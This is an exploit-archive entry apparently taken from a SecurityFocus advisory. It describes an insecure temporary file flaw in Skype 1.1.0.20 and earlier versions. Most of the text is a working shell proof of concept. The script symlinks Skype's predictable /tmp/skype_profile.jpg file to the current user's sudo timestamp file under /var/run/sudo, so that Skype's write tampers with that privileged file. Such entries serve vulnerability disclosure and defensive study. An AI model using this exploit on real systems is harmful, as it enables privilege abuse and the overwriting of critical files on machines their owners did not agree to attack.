source: https://www.securityfocus.com/bid/14293/info Skype is affected by an insecure temporary file creation vulnerability. Exploitation would most likely result in loss of data or a denial of service if critical files are overwritten in the attack. Other attacks may be possible as well. Skype 1.1.0.20 and prior versions are affected. #!/bin/sh #get current terminal number from /dev/pts/xx terminal_number=`tty | cut -f4 -d '/'` user_ticket=$USER/$terminal_number:root ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg